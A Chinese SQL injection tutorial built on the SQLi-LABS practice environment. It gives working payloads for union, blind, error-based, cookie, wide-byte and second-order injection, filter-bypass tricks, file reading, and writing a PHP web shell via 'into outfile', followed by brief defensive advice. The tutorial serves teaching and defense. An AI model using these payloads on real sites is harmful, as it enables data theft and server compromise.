SQL注入漏洞详解
什么是SQL注入
原理:
-
Sql注入,由于Web应用程序对用户输入数据的合法性没有判断和过滤,导致后台SQL语句拼接了用户的输入。用户可以通过构造不同的Sql语句来实现对数据库的任意操作。(如:增删改查)。
解释:当我们用户在前端浏览器页面做一些事情的时候,当需要与数据库进行交互时,比如最简单的登陆账号,web应用程序接收到我们账号密码后,需要后台有这样一个数据库的命令,去查询数据库中是否有这样的一个账号密码与之对应,然后做出判断:是否存在用户名,若存在,用户名与密码是否相匹配。然而,当数据库的这个命令直接被用户去操控,用户直接对数据库进行任意操作。这样所带来的隐患是极其严重的。我们称之为存在SQL注入漏洞。
起因:
为什么会有SQL注入?
- 代码对带入SQL语句的参数过滤不严格
- 未启用框架的安全配置,例如:PHP的magic_quotes_gpc
- 未使用框架安全的查询方法
- 测试接口未删除
- 未启用防火墙
- 未使用其他的安全防护设备
- … …
危害 :
这些危害包括但不局限于:
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马。传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作。数据库服务器被攻击。数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控“制操作系统。
- 破坏读盘数据,瘫痪全系统。 一些类型的数据库系统能够让Sql指令操作文件系统,这使得Sql注入的危害被进一步放大。
- …
场景:
哪些地方可能会存在SQL注入?
所有与数据库进行交互的地方:
- 登陆框
- 搜索框
- 详情页
- 提交按钮
- … …
前置知识
以下所有内容除特殊强调外数据库均为Mysql
先来了解一下Mysql的一些基础结构把
数据库:information_schema(存放数据库元信息)
其中三张常用的表
- schemata (存放数据库名)
- tables (存放表名)
- columns(存放字段名)
schemata表:
- schema_name字段用来存储数据库名
tables表:
- table_schema(数据库名)
- table_name(表名)
columns表:
- table_schema(数据库名)
- table_name(表名)
- column_name(字段名)
SQL注入分类
SQL注入的类型很多,但不是严格的进行区分的。如报错注入可发生在GET型注入中,也可发生在POST型注入中,以下列举几种常见的分类:
按照请求方法分类
- GET型注入
- POST型注入
按照SQL数据类型分类
- 整型注入
- 字符型注入
其他类型
- 报错注入
- 布尔盲注
- 时间盲注
- Cookie注入
- User-Agent注入
- … …
判断是否存在SQL注入
当我们在进行SQL注入时,首先要判断他的注入点。其目的便是尽可能地使数据库去执行我们的输入:
- 单引号’、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞了。
- 在url后加and 1=1 、and 1=2、 -0、 +0、 .0、 .1等查看页面回显是否一样来判断所输入的数据是否被当作数据库命令执行。(部分注入存在回显不明显,可通过审查元素或者使用BurpSuite进行查看)
下面我们用SQLi-LABS 为实验环境进行展开分析
1、联合查询
整型注入
- 在url后输入?id=1
- 通过不断切换id的值我们发现页面会转换为不同的内容
- 当在数字后加入单引号时:?id=1’,我们发现页面有报错信息(此时可能存在sql注入。根据报错信息我们可以分析出错的地方在单引号 ’ )
- 继续输入and 1=1 发现页面没有变化 输入and 1=2 页面发生了变化(此时可以确定我们的输入已经被执行,该处存在SQL注入漏洞)接下来我们要进一步获取信息
- 通过order by 后加数字来判断有多少个字段若 order by 2返回正常 则说明字段数大于等于2。由该处 order by 3正常 order by 4返回错误可判断字段数为3
http://ip/Less-2/?id=1 order by 3
- 通过union select 联合查询 使用占位数字列出当前字段(要想输入占位符生效须使前面的条件否定 可使用and 1=2 或 id=-1)
http://ip/Less-2/?id=1 and 1=2 union select 1,2,3
- 使用函数version(),database()替换占位数字回显出数据库版本信息和名称
之后我们可以通过union select 进一步获取信息
http://ip/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata 获取所有数据库
http://ip/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' 获取当前数据库'security'所有的表
http://ip/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' 获取users表的所有字段
- 我们知道了users表的存在,又知道表中有 id ,username, password三列,那么我们可以查询他的内容了
http://ip/Less-2/?id=-1 union select 1,group_concat(id,'-',username,'-',password),3 from users
字符型注入
在我们常见的数据库语句中,大多数参数会被一些符号(单引号,双引号、括号等的)进行包裹。
例如这条语句:
$query="select first_name from users where id='$_GET['id']'";
可以看到参数被单引号包裹着
如果此时我们输入
?id=1 union select database();
则在数据库中是这样子的
select first_name from users where id='1 union select database()';
然而我们并没有id值等于1 union select database() 显然这样是无效的
因此我们可以这样输入
?id=1' union select database() #;
我们用单引号 ’ 来闭合前边的内容,用#注释掉后边的内容。(若#注释失败可以使用 --+ 来注释 或者 --空格)这样在数据库中的 语句为:
select first_name from users where id='1' union select database() #';
这样的话便可以顺利的进行下一步的注入。(除了这点区别外其他步骤可以参照整型注入)我们来看一下都有哪些类型的字符型注入。
- 单引号包裹
http://ip/Less-1/?id=-1' union select 1,2,3 --+
- 单引号+括号包裹
http://ip/Less-3/?id=-1') union select 1,2,3 --+
- 双引号+括号包裹
http://ip/Less-4/?id=-1" )union select 1,2,3 --+
2、盲注
布尔盲注
当页面返回信息没有报错,或者没有返回一些数据的时候,我们可以通过页面状态发生的变化来判断字符的数据。
布尔盲注,则根据布尔类型的数据(真或假)来判断后台的数据。
如:SQLi-LABS-less5
在此之前我们需要认识一些函数:
- substr(string,start,length) //substr截取字符串三个参数分别为:被截取的字符串,截取字符串起始的位置,截取字符串的偏移量 如:substr(hello,2,3 )则返回:ell (注意:substr截取从1开始)
- ascii()
- count() //列出列名数量
- length() //返回长度
- concat(’’,’’) //字符串拼接,参数也可为变量
- limit m,n //从m行开始,到m+n行 (注意:limit截取从0开始)
我们按照之前的方法:当我们在url后输入?id=1的时候可以看到界面出现了You are in… 如下图所示:
当加上单引号之后,我们看到了页面报错。
我们在末尾加上–+之后,发现页面返回了正常。(You are in… )
由之前学习的知识我们可以知道,这是一个参数由单引号包裹的字符型注入。
然而我们当我们继续查询下去的时候会发现:当我们输入不同的语句时,页面只会返回两种状态:
- 当输入语句为真时,会出现如上图的 You are in…
- 当输入的语句为假时,则不会出现 You are in… 如下图所示:
http://IP/Less-5/?id=1' and 1=2 --+
很显然You are in… 的出现,代表着结果为真,否则代表着结果为假。
那么,我们该如何继续查询更多的信息呢?
我们不妨输入这样的语句进行查询:
- 查询version()第一个字符。是否为b
http://ip/Less-5/?id=1' and substr(version(),1,1)= 'b'--+
可以看到返回结果为假。然而这样查询的弊端是显而易见的:光英文字母区分大小写便有52个字符,再加上其他字符,显然会耗费大量的精力。
我们引入另一个函数ascii() ,将字符转换为码。(共128个字符)
那么我们可以这样查询:
http://ip/Less-5/?id=1' and ascii(substr(version(),1,1))> 100--+ 假
http://ip/Less-5/?id=1' and ascii(substr(version(),1,1))> 50--+ 真
http://ip/Less-5/?id=1' and ascii(substr(version(),1,1))> 60--+ 假
...
http://ip/Less-5/?id=1' and ascii(substr(version(),1,1))= 53--+ 真
对照码表查看,53对应的是字符为数字5。这样我们可以知道version()值第一个字符为数字5。
我们继续进行查询:(以下内容省略了盲猜的过程)
- 判断数据库长度
http://ip/Less-5/?id=1' and length(database())=8--+ 长度为8
- 依次确定数据库名称组成
http://ip/Less-5/?id=1' and ascii(substr(database(),1,1))= 115--+ s
http://ip/Less-5/?id=1' and ascii(substr(database(),2,1))= 101--+ e
...
security
- 判断数据表的个数
http://ip/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0--+ 真
...
http://ip/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+ 表的个数为4
- 判断表的长度
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0--+ //判断第一张表的长度
- … (接下来可照此法判断列名以及列中数据。)
时间盲注
当页面没有回回显内容时,即使输入错误的SQL语句页面也不会发生变化。此时我们应该考虑另外一种注入方式。即基于时间的延时盲注。
SQL语句与布尔盲注大致相同,所不同的是布尔条件以及无法使我们获得所需要的信息,因此我们引入了一个新的函数:
- sleep() //延时
我们以SQLi-LABS-less9为例,相同的知识不再赘述直接输入以下语句。
http://IP/Less-9/?id=1' and sleep(5) --+ //若条件为真则延时5秒
可以看到图示处出现了延时
- 判断数据库长度:如果数据库长度为8则延迟5秒否则立即响应
http://IP/Less-9/?id=1' and if(length(database())=8,sleep(5),1)--+
- 可参考结合布尔盲注的SQL语句进行下一步查询,这里不再赘述。
3、报错注入
在联合查询中,我们根据报错信息来获取注入类型是整型还是字符型。接下来,我们要利用报错信息来获取一些更敏感的信息。(这里适用于页面没有显示位,但页面会有报错信息的显示)
extractvalue报错注入
EXTRACTVALUE (XML_document, XPath_string)
-
extractvalue() //从目标xml中返回包含所查询的字符串
-
XML_document是strings格式,为 XML 文档对象的名称
-
XPath_string (Xpath 格式的字符串)
我们依然用SQLi-LABS-less5进行演示:
-
extractvalue的第一个参数我们任意写一个文档名称1;因为第二个参数须为Xpath格式字符串,我们写的
database()显然不符合要求,因此会产生报错。而我们就是利用这个报错点去寻找我们需要的敏感信息。
我们用concat连接‘~’与database()值。(Xpath语法如果想要深入了解可自行百度。)
-
暴数据库
http://IP/Less-5/?id=1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+
- 暴表名
http://IP/Less-5?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e))--+
- …
updatexml报错注入
UPDATEXML (XML_document, XPath_string, new_value)
- updatexml() //更新xml文档
- XML_document 是strings格式,为 xml文档对象的名称
- XPath_string (Xpath 格式的字符串)
- new_value,String 格式,替换查找到的符合条件的数据
使用方法与extractvalue报错注入类似。区别为updatexml有三个参数。如下语句:
http://IP/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
4、POST注入
使用工具burpsuie进行重放
在GET注入中,我们可以直接在url的参数中修改我们的内容。在POST注入中,我们该如何放置我们的SQL语句呢?
我们以SQLi-LABS-less11进行演示:
可以看到显示在我们面前的是一个登录框,不管我们输入什么,url都不会有任何变化。因此在url中注入我们的SQL语句是无效的。此时,我们可以利用burpsuite进行抓包。(不了解burpsuite的可以学习一下他的简单用法。)
- 我们在登录框分别输入user;password进行抓包,并发送到Repeater模块重放入下图所示:
- 我们在user后加单引号,点击Go可以看到页面发生了报错
uname=user'&passwd=password&submit=Submit
- 接着我们在user’ 后添加# 注释掉后边的内容可以看到页面恢复了正常。
uname=user' #&passwd=password&submit=Submit
- 由此我们可以在此处进行我们的SQL语句构造。(所需要测试的步骤可参考上文,仅是注入的地方从原来的url改为图上所示位置。
使用hackbar插件进行注入
若我们知道提交的变量是什么,可直接使用hackbar插件进行POST注入。(此种方法比较局限)
5、Cookie注入、Http-referer注入、User-Agent注入
SQL注入作为一种很常见的攻击方式被越来越多的人所知晓。且绝大多数开发人员在开发过程中会对用户传入的参数进行适当的过滤,如添加黑名单,对GET,POST方式提交的数据进行了参数过滤。然而对通过Cookie方式提交的数据却并没有过滤。而Cookie注入说就是利用Cookie而发起的注入攻击。从本质上来讲,Cookie注入与传统的SQL注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同罢了。
例如:SQLi-LABS-less20;账号密码均为admin 进行登陆。
使用burpsuite进行抓包并发送至repeater模块,我们看到cookie参数:Cookie: uname=admin
接下来我们在此处进行常规的SQL注入即可。
- 如:查看字段数
Cookie: uname=admin' order by 3#
- 查看版本信息及数据库
Cookie: uname=admin' and 1=2 union select database(),version(),3#
- …
Http-referer注入、User-Agent注入与Cookie注入大体类似,抓包后在不同地点注入即可。
6、SQL注入读写文件
读文件
我们可以利用通过SQL语法读取服务器上的一些特定的文件。如一些配置文件来获取数据库用户名密码,或者一些源码 等。利用函数:
- load_file(file_name) //读取文件并返回该文件的内容作为一个字符串。
前提条件:
-
须有读取权限,且文件完全可读 (在本地环境搭建测试时,mysql全局变量的配置中secure_file_priv 的值不能是null:
-
secure_file_priv = 空的时候 ,任意读写
secure_file_priv = 某个路径的时候,只能在规定的那个路径下读写
secure_file_priv = null 不能读写)
-
要知道读写绝对路径
以SQLi-LABS-less1为例:
http://ip/Less-1/?id=-1' union select 1,2,3 --+
我们可以直接在显示位上注入我们的SQL命令。如:
http://ip/Less-1/?id=-1' union select 1,load_file("绝对路径"),3 --+
绝对路径的获取方法:1、经验;2、根据一些报错信息中获取。
写文件
- into outfile
以SQLi-LABS-less1为例:
http://ip/Less-1/?id=-1' union select 1,2,3 --+
我们可以利用into outfile将一句话木马写入到某个路径
http://ip/Less-1/?id=-1' union select 1,2,"<?php@eval($_GET['test']);?>" into outfile '绝对路径' --+
7、宽字节注入
前置知识
- GBK编码方式用两个字节表示一个字符
- ASCII 一个字节表示一个字符
- MYSQL数据库默认字符集是GBK等宽字节字符集。(宽字节字符集还有GB2312、GB18030、BIG5等)
- PHP中编码为GBK,函数执行添加的是ASCII编码。
- addslashes() //函数返回在预定义字符之前添加反斜杠 \ 的字符串。
那么什么是宽字节注入呢?下面我们直接用实例来讲解:
下面以SQLi-LABS-less32为例
- 我们按照正常的SQL注入流程,首先添加单引号,看页面是否发生变化。
- 我们看到页面没有发生变化,然而仔细观察下面的提示信息后,我们发现在我们的 1’ 中件被自动添加了一个 反斜杠 ,即1\’。 显然我们输入的单引号被转义了。我们都知道被转义后的单引号它仅仅是个只能显示符号(像花瓶儿一样,除了观赏之外他无法再发挥任何作用)。所以我们想绕过这个转义,就必须把 ‘\’ 去掉。
由此引入我们的宽字节:
- 反斜杠在十六进制中为**%5C**, 那么**1\’ = **1%5C%27.
- 我们可以在反斜杠前加%df,即 1%df%5C%27
- 如果程序的默认字符集是GBK等宽字节字符集,MySQL使用的编码也是GBK时。认为 %df%5c是一个宽字符,也就是縗。也就是说:
1%df\'
=1%df%5c%27
=1縗’
,有了单引号就好注入了。
如下图所示:
http://IP/Less-32/?id=1%df' --+
附:GBK编码范围:8140-FEFE
8、二次注入
所谓二次注入:
攻击者构造的恶意数据在存储在数据库之后,恶意数据被数据库服务器误认为是正常的数据进行引用,从而进入到SQL查询语句中运行而导致的注入。
例:在前文宽字节注入中我们提到过的一个函数: addslashes()
假使我们注入的参数为1'
,经过addslashes转义后变为了1\'
。 然而addslashes虽然对'
进行了\
转义,但是\
并不会插入到数据库中,在写入数据库时仍为1'
,这样,我们在下一次调用这个参数的时候,'
不会被转义,从而触发了 SQL注入。由此便形成了二次注入。
我们以SQLi-LABS-less24为例(为了更直观此处环境为本地搭建)
- 我们进行常规的SQL注入。(显然是失败的)
- 我们在查看源代码发现在登陆处的username和password都经过了mysql_real_escape_string函数的转义
- 返回登陆页我们看到New User click here? 点击,不妨注册一下。(账号:admin’# 密码:123456)如下图:
- 注册成功后我们查看一下数据库,可以看到转义符号
\
并没有被存储在数据库中。
- 当我们用注册的账号密码(admin’# ; 123456)登陆后,出现一个修改密码的界面。我们进行修改密码:新密码为:qweasd
-
密码修改后我们直接看看数据库,看看有什么变化?
-
可以看到
admin'#
密码似乎并没有发生变化,而管理员账号admin 变成了我们输入的新密码。(这样我们直接修改了管理员的密码)那么为什么会这样呢???
- 我们查看一下密码修改的源代码
- SQL语句是这样的
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
- 而实际执行的语句是这样的:
$sql = "UPDATE users SET PASSWORD='qweasd' where username='admin'#' and password='$curr_pass' ";
- 当我们提交用户名
admin'#
修改密码为 qweasd的时候,#
把后面的都给注释了,所以就是修改了admin用户的密码为 qweasd。
9、Access偏移注入
(此种方法比较靠运气,可做了解)
适用于在Accesss数据库中已知表名,无法获取字段的SQL注入。
流程:
- 判断字段数 order by
- 判断表名
首先我们利用*
代替字段长度,从最后一个字段6开始,逐步缩减字段数。如下所示
union select 1,2,3,4,5,6 from admin
union select 1,2,3,4,5,* from admin
union select 1,2,3,4,* from admin
union select 1,2,3,* from admin
… …
当缩减到某一行时,随机暴出来某一列数据(要记住爆出数据的字段数)
有这样一个计算公式计算公式
若共有30个字段,在第22个字段暴出数据
30-21=9
(admin为表名)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,a.id,b.id,c.id,* from( (admin as a inner join admin as b on a.id=b.id) inner join admin as c on
a.id=c.id)若偏移失败可去掉斜体重新尝试。
SQL注入过滤与绕过
过滤,顾名思义,将一些敏感字符过滤掉,从而达到一个防止注入的目的。
绕过,使用某种方法来绕过过滤的内容,从而达到继续注入的目的。
此处介绍几种常见的绕过方式,这些方法不局限于SQL注入,在其它web安全漏洞进行绕过时也可作为思路进行发散。
1、大小写绕过
若程序只是设置了关键字过滤,(发现关键字的出现就把他过滤掉而不是对他的深层含义进行解析过滤)由于数据库的查询语句对大小写并不敏感,我们可以使用大小写字母转换来进行绕过。例如:select 可用SeLeCt代替。
2、双写绕过
若程序设置了关键字过滤为空。
例: union ->空
我们可以使用双写进行过滤 uniunionon -> uni空on -> union
(注意:这里的空仅是为了看起来直观一些,指的是什么都没有,不是字符空)
3、编码绕过
可尝试使用url十六进制加密进行绕过
or -> %6f%72
ASCII码转字符进行绕过
user -> char(117)+char(115)+char(101)+char(114)
4、内联注释绕过
在Mysql中,内联注释中的内容可以被当作SQL语句执行。/*! */
例:select * from admin -> /*!select*/ * from admin
SQL注入防御
1、严格分配权限
对于非管理员用户的要禁止其对数据库的操作权限。
2、黑白名单
使用黑名单禁止一些敏感数据的出现,如使用正则表达式过滤传入的参数。
使用白名单来规范用户的输入,严格限定参数类型和格式。如手机号输入:仅允许用户输入0-9的数字且只能是11位。
3、严格控制输出。
对于一些错误的操作,只告诉用户对或者是错,尽量避免一些敏感信息出现在报错信息中。
4、预编译防止SQL注入
将SQL语句在程序运行前已经进行预编译,那么接下来用户不论输入什么都不会影响到SQL语句的执行,由此SQL语句预编译可以有效防御SQL注入。
5、使用安全设备
如WAF、数据库云审计、云防护、IPS等。